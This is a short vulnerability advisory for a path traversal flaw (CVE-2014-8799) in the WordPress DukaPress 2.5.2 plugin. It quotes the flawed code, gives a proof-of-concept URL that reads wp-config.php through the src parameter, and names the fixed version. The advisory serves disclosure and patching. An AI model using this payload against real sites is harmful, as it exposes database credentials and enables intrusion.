WordPress Plugin DukaPress 2.5.2 - Directory Traversal

# Exploit Title: DukaPress 2.5.2 Path Traversal
# Date: 27-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl
# Software Link: https://downloads.wordpress.org/plugin/dukapress.2.5.2.zip
# Category: webapps
# CVE: CVE-2014-8799

1. Description

dp_img_resize() returns $_REQUEST['src'] if $_REQUEST['w'] and $_REQUEST['h'] doesn't exist.

File: dukapress\lib\dp_image.php
if (!function_exists('add_action')) {
    require_once('../../../../wp-load.php');
}

echo file_get_contents(dp_img_resize('', $_REQUEST['src'],$_REQUEST['w'], $_REQUEST['h']));

http://security.szurek.pl/dukapress-252-path-traversal.html

2. Proof of Concept

http://wordpress-url/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php

3. Solution:

Update to version 2.5.4

https://downloads.wordpress.org/plugin/dukapress.2.5.4.zip
https://plugins.trac.wordpress.org/changeset/1024640/dukapress